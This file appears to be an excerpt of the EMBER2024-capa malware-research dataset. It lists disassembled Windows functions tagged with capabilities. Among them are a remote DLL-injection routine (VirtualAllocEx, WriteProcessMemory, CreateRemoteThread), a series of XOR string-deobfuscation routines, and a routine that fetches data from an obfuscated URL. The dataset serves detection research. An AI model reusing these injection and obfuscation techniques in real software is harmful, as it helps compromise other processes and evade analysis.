joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2fc5cacb0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc5cb6b2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc5ee108]
test eax, eax
je 0x2fc5cb74a
lea rax, [0x2fc5ee0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc5ee110]
mov qword [rbp - 8], rax
jmp 0x2fc5cb72e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc5cb722
cmp qword [rbp - 0x10], 0
je 0x2fc5cb722
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc5cb6e8
lea rax, [0x2fc5ee0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc5cb74b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc5cb850
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc5cb878
mov eax, 0
jmp 0x2fc5cb8c6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc5cb8a1
mov eax, 0
jmp 0x2fc5cb8c6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc5cb8c1
mov eax, 0
jmp 0x2fc5cb8c6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc5cb8cc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc5cb94a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc5cb941
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc5cb941
mov rax, qword [rbp - 8]
jmp 0x2fc5cb95f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc5cb914
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140004800
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x50
mov rax, qword [0x1400680a0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rbp, rcx
mov rdi, rdx
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.LoadLibraryA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, 0xffffffffffffffff
mov r14, rax
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rdi + r8], 0
jne 0x140004850
inc r8
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x1400048ba
lea rdx, str.Failed_allocating_memory_in_the_target_process._GetLastError__:
lea rcx, [0x140069bf0]
call fcn.140014120
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.14000b960
mov rcx, rax
lea rdx, [0x14005d40c]
call fcn.140014120
xor al, al
jmp 0x1400049bd
mov qword [rsp + 0x90], r15
cmp byte [rdi + rbx + 1], 0
lea rbx, [rbx + 1]
jne 0x1400048c2
xor r15d, r15d
lea r9, [rbx + 1]
mov r8, rdi
mov qword [rsp + 0x20], r15
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400048f5
lea rdx, str.Failed_writing_to_process._GetLastError__:
jmp 0x140004924
mov qword [rsp + 0x30], r15
mov r9, r14
mov dword [rsp + 0x28], r15d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
test rax, rax
jne 0x140004956
lea rdx, str.Failed_to_create_a_thread_in_the_target_process._GetLastError__:
lea rcx, [0x140069bf0]
call fcn.140014120
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.14000b960
mov rcx, rax
lea rdx, [0x14005d40c]
call fcn.140014120
xor al, al
jmp 0x1400049b5
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], r15d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x40], r15d
jne 0x1400049b3
lea rdx, str.LoadLibrary_failed_with_exit_code_0._n
lea rcx, [0x140069bf0]
call fcn.140014120
xor al, al
jmp 0x1400049b5
mov al, 1
mov r15, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140022b60
add rsp, 0x50
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140005970
Capabilities:
Encode data using base64 via winapi

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x1400680a0]
xor rax, rsp
mov qword [rbp - 8], rax
mov r12, rdx
mov r14, rcx
mov qword [rbp - 0x38], rcx
xor r13d, r13d
mov dword [rbp - 0x40], r13d
mov dword [rbp - 0x30], r13d
mov qword [rcx], r13
mov qword [rcx + 0x10], r13
mov qword [rcx + 0x18], 0xf
mov byte [rcx], r13b
xor r8d, r8d
lea rdx, [0x14005d26b]
call fcn.1400046a0
mov dword [rbp - 0x40], 1
mov rsi, 0xffffffffffffffff
mov rdi, rsi
nop dword [rax]
inc rdi
cmp byte [r12 + rdi], 0
jne 0x1400059e0
test edi, edi
je 0x140005b7e
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8d, [r9 + 1]
mov edx, edi
mov rcx, r12
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov eax, dword [rbp - 0x30]
test eax, eax
je 0x140005af1
xorps xmm0, xmm0
mov r15d, eax
movdqu xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], r13
cmp rax, 0x1000
jb 0x140005a5b
lea rcx, [rax + 0x27]
cmp rcx, rax
jbe 0x140005bb1
call fcn.140022e24
mov rcx, rax
test rax, rax
je 0x140005ba5
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140005a63
mov rcx, r15
call fcn.140022e24
mov qword [rbp - 0x28], rax
lea rbx, [rax + r15]
mov qword [rbp - 0x18], rbx
mov r8, r15
xor edx, edx
mov rcx, rax
call fcn.140025290
mov qword [rbp - 0x20], rbx
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x28]
mov r8d, 1
mov edx, edi
mov rcx, r12
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov rdx, qword [rbp - 0x28]
inc rsi
cmp byte [rdx + rsi], 0
jne 0x140005aa2
mov r8, rsi
mov rcx, r14
call fcn.1400046a0
nop
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x140005af1
mov rdx, qword [rbp - 0x18]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005aec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005ba5
call fcn.140022b80
mov rcx, r14
call fcn.14000be00
cmp rax, 0xffffffffffffffff
je 0x140005b7e
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x18], r13
mov qword [rbp - 0x10], 0xf
mov byte [rbp - 0x28], 0
mov r8d, 2
lea rdx, [0x14005d544]
lea rcx, [rbp - 0x28]
call fcn.1400046a0
nop
mov rcx, r14
call fcn.14000be00
mov qword [rsp + 0x20], r13
mov r8, qword [rbp - 0x18]
mov rdx, rax
mov rcx, r14
call fcn.14000f160
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x140005af1
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005aec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005bab
jmp 0x140005aec
mov rax, r14
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140022b60
mov rbx, qword [rsp + 0xc0]
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140031f8c
int3
call fcn.140031f8c
int3
call fcn.1400014d0
int3
Function at 0x1400061c0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x19], 0
je 0x1400061e3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x18
jb 0x1400061d0
mov byte [rcx + 0x19], 0
mov rax, rcx
ret

Function at 0x1400061f0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x20], 0
je 0x140006213
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x1f
jb 0x140006200
mov byte [rcx + 0x20], 0
mov rax, rcx
ret

Function at 0x140006220
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x2d], 0
je 0x140006243
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x2c
jb 0x140006230
mov byte [rcx + 0x2d], 0
mov rax, rcx
ret

Function at 0x1400065b0
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
mov rax, qword [0x1400680a0]
xor rax, rsp
mov qword [rbp + 0x4f], rax
call fcn.140005be0
movdqa xmm0, xmmword [0x14005f230]
xor ebx, ebx
movdqu xmmword [rbp - 9], xmm0
mov ecx, ebx
mov byte [rbp + 7], 1
nop
lea eax, [rcx + 0x7e]
xor byte [rbp + rcx - 9], al
inc rcx
cmp rcx, 0xf
jb 0x1400065f0
xor r9d, r9d
mov byte [rbp + 7], bl
xor r8d, r8d
mov dword [rsp + 0x20], ebx
xor edx, edx
lea rcx, [rbp - 9]
call qword [sym.imp.WININET.dll_InternetOpenA]
movdqa xmm0, xmmword [0x14005f7d0]
mov rdx, rbx
movdqa xmm1, xmmword [0x14005f7a0]
movdqu xmmword [rbp + 0xf], xmm0
mov word [rbp + 0x2f], 0x100
movdqu xmmword [rbp + 0x1f], xmm1
nop dword [rax]
lea ecx, [rdx + 0x7e]
xor byte [rbp + rdx + 0xf], cl
inc rdx
cmp rdx, 0x20
jb 0x140006640
mov qword [rsp + 0x28], rbx
lea rdx, [rbp + 0xf]
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov byte [rbp + 0x30], bl
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ecx, 0x1f4
mov dword [rbp + 0x37], 0xf
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rbp + 0x37]
mov r8d, 0xf
lea rdx, [rbp + 0x3f]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [rbp + 0x37]
cmp rax, 0x10
jae 0x140006739
mov byte [rbp + rax + 0x3f], bl
call fcn.140005be0
mov dword [rbp - 9], 0xa1ae5141
mov dword [rbp - 5], 0xaba4ada2
mov dword [rbp - 1], 0xeefca9b9
mov word [rbp + 3], 0xe0
mov byte [rbp + 5], 1
nop dword [rax]
nop dword [rax + rax]
lea eax, [rbx + 0x7e]
xor byte [rbp + rbx - 9], al
inc rbx
cmp rbx, 0xd
jb 0x1400066e0
lea rax, [rbp - 9]
mov byte [rbp + 5], 0
lea r8, [rbp + 0x3f]
sub r8, rax
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140006713
inc rax
test ecx, ecx
jne 0x140006700
test edx, edx
sete al
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.140022b60
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
call fcn.140022c90
int3
Function at 0x140006740
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rdi, rcx
mov dword [rbp - 0x10], 0xe5e71b16
xor ecx, ecx
mov dword [rbp - 0xc], 0xe3ece5f0
mov rbx, rdx
mov dword [rbp - 8], 0xe7e1a9e3
mov word [rbp - 4], 0xe3
mov byte [rbp - 2], 1
nop dword [rax]
lea eax, [rcx + 0x7e]
xor byte [rbp + rcx - 0x10], al
inc rcx
cmp rcx, 0xd
jb 0x140006780
cmp qword [rdi + 0x18], 0x10
mov r8, rdi
mov byte [rbp - 2], 0
jb 0x1400067a1
mov r8, qword [rdi]
mov dword [rbp - 0x30], 0xe4f7190a
xor ecx, ecx
mov dword [rbp - 0x2c], 0xe2f6e6e5
mov word [rbp - 0x28], 0x100
nop word [rax + rax]
lea eax, [rcx + 0x7e]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 8
jb 0x1400067c0
mov byte [rbp - 0x27], 0
xor ecx, ecx
mov dword [rbp - 0x20], 0xe4f7190a
mov dword [rbp - 0x1c], 0xe2f6e6e5
mov word [rbp - 0x18], 0x100
nop word [rax + rax]
lea eax, [rcx + 0x7e]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 8
jb 0x1400067f0
lea r9, [rbp - 0x10]
mov byte [rbp - 0x17], 0
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
xor ecx, ecx
mov dword [rbp - 0x10], 0xe6f31907
mov dword [rbp - 0xc], 0xabe3e6f0
mov dword [rbp - 8], 0xe1e9ef
mov byte [rbp - 4], 1
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x7e]
xor byte [rbp + rcx - 0x10], al
inc rcx
cmp rcx, 0xb
jb 0x140006840
cmp qword [rbx + 0x18], 0x10
mov r8, rbx
mov byte [rbp - 4], 0
jb 0x140006861
mov r8, qword [rbx]
mov dword [rbp - 0x20], 0xe6e81a0c
xor ecx, ecx
mov dword [rbp - 0x1c], 0xf7e3e7e7
mov dword [rbp - 0x18], 0x100f5e1
nop dword [rax + rax]
lea eax, [rcx + 0x7e]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0xa
jb 0x140006880
mov byte [rbp - 0x15], 0
xor ecx, ecx
mov dword [rbp - 0x30], 0xe6e81a0c
mov dword [rbp - 0x2c], 0xf7e3e7e7
mov dword [rbp - 0x28], 0x100f5e1
nop dword [rax + rax]
lea eax, [rcx + 0x7e]
xor byte [rbp + rcx - 0x30], al
inc rcx
cmp rcx, 0xa
jb 0x1400068b0
lea r9, [rbp - 0x10]
mov byte [rbp - 0x25], 0
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x14000690c
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140006907
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006978
mov rcx, r8
call fcn.140022b80
mov byte [rdi], 0
mov qword [rdi + 0x10], 0
mov qword [rdi + 0x18], 0xf
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140006955
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140006950
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006978
mov rcx, r8
call fcn.140022b80
mov qword [rbx + 0x10], 0
mov rdi, qword [rsp + 0x78]
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rbp
ret
call fcn.140031f8c
int3
Function at 0x140008e90
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x40], 0
je 0x140008eb3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x3f
jb 0x140008ea0
mov byte [rcx + 0x40], 0
mov rax, rcx
ret

Function at 0x140008ec0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x5d], 0
je 0x140008ee3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x5c
jb 0x140008ed0
mov byte [rcx + 0x5d], 0
mov rax, rcx
ret

Function at 0x140008ef0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x58], 0
je 0x140008f13
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x57
jb 0x140008f00
mov byte [rcx + 0x58], 0
mov rax, rcx
ret

Function at 0x140008f20
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xaf], 0
je 0x140008f48
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xae
jb 0x140008f30
mov byte [rcx + 0xaf], 0
mov rax, rcx
ret

Function at 0x140008f50
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x76], 0
je 0x140008f73
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x75
jb 0x140008f60
mov byte [rcx + 0x76], 0
mov rax, rcx
ret

Function at 0x140008f80
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x60], 0
je 0x140008fa3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x5f
jb 0x140008f90
mov byte [rcx + 0x60], 0
mov rax, rcx
ret

Function at 0x140008fb0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x9d], 0
je 0x140008fd8
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x9c
jb 0x140008fc0
mov byte [rcx + 0x9d], 0
mov rax, rcx
ret

Function at 0x140008fe0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xa6], 0
je 0x140009008
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xa5
jb 0x140008ff0
mov byte [rcx + 0xa6], 0
mov rax, rcx
ret

Function at 0x140009010
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x4a], 0
je 0x140009033
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x49
jb 0x140009020
mov byte [rcx + 0x4a], 0
mov rax, rcx
ret

Function at 0x140009040
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x6f], 0
je 0x140009063
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x6e
jb 0x140009050
mov byte [rcx + 0x6f], 0
mov rax, rcx
ret
Function at 0x140009110
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x1400680a0]
xor rax, rsp
mov qword [rsp + 0x68], rax
movdqa xmm0, xmmword [0x14005f770]
movdqu xmmword [rsp + 0x20], xmm0
movdqa xmm1, xmmword [0x14005f780]
movdqu xmmword [rsp + 0x30], xmm1
mov dword [rsp + 0x40], 0xdbd9e7e9
mov word [rsp + 0x44], 0x100
xor edx, edx
mov eax, edx
nop dword [rax]
nop dword [rax + rax]
lea ecx, [rax + 0x7e]
xor byte [rsp + rax + 0x20], cl
inc rax
cmp rax, 0x24
jb 0x140009160
mov byte [rsp + 0x45], dl
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], 0xf
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140009193
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x48]
call fcn.1400046a0
call fcn.1400292f4
mov r8d, eax
and r8d, 0x1f
movabs rax, 0x842108421084211
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 4
imul rcx, rcx, 0x1f
sub r8, rcx
lea rax, [rsp + 0x48]
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140009222
mov rcx, qword [rsp + 0x48]
movzx ebx, byte [rcx + r8 + 1]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000921b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000923e
call fcn.140022b80
jmp 0x140009228
movzx ebx, byte [rax + r8 + 1]
movzx eax, bl
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140022b60
add rsp, 0x70
pop rbx
ret
call fcn.140031f8c
int3
Function at 0x140009720
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x59], 0
je 0x140009743
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x58
jb 0x140009730
mov byte [rcx + 0x59], 0
ret

Function at 0x140009750
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x5a], 0
je 0x140009773
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x59
jb 0x140009760
mov byte [rcx + 0x5a], 0
ret

Function at 0x140009780
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x5b], 0
je 0x1400097a3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x5a
jb 0x140009790
mov byte [rcx + 0x5b], 0
ret

Function at 0x1400097b0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x73], 0
je 0x1400097d3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x72
jb 0x1400097c0
mov byte [rcx + 0x73], 0
ret

Function at 0x1400099c0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 7], 0
je 0x1400099e3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 6
jb 0x1400099d0
mov byte [rcx + 7], 0
ret

Function at 0x1400099f0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 8], 0
je 0x140009a13
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 7
jb 0x140009a00
mov byte [rcx + 8], 0
ret

Function at 0x140009a20
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 3], 0
je 0x140009a43
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 2
jb 0x140009a30
mov byte [rcx + 3], 0
ret

Function at 0x140009a50
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 4], 0
je 0x140009a73
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 3
jb 0x140009a60
mov byte [rcx + 4], 0
ret

Function at 0x140009a80
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x28], 0
je 0x140009aa3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x27
jb 0x140009a90
mov byte [rcx + 0x28], 0
ret

Function at 0x140009ab0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 5], 0
je 0x140009ad3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 4
jb 0x140009ac0
mov byte [rcx + 5], 0
ret

Function at 0x140009ae0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 6], 0
je 0x140009b03
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 5
jb 0x140009af0
mov byte [rcx + 6], 0
ret

Function at 0x140009b10
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x1d], 0
je 0x140009b33
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x1c
jb 0x140009b20
mov byte [rcx + 0x1d], 0
ret
Function at 0x140009b50
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xf], 0
je 0x140009b73
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xe
jb 0x140009b60
mov byte [rcx + 0xf], 0
ret

Function at 0x140009b80
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xb], 0
je 0x140009ba3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xa
jb 0x140009b90
mov byte [rcx + 0xb], 0
ret

Function at 0x140009bb0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 9], 0
je 0x140009bd3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 8
jb 0x140009bc0
mov byte [rcx + 9], 0
ret

Function at 0x140009be0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x10], 0
je 0x140009c03
xor eax, eax
nop dword [rax + rax]
lea edx, [rax + 0x7e]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xf
jb 0x140009bf0
mov byte [rcx + 0x10], 0
ret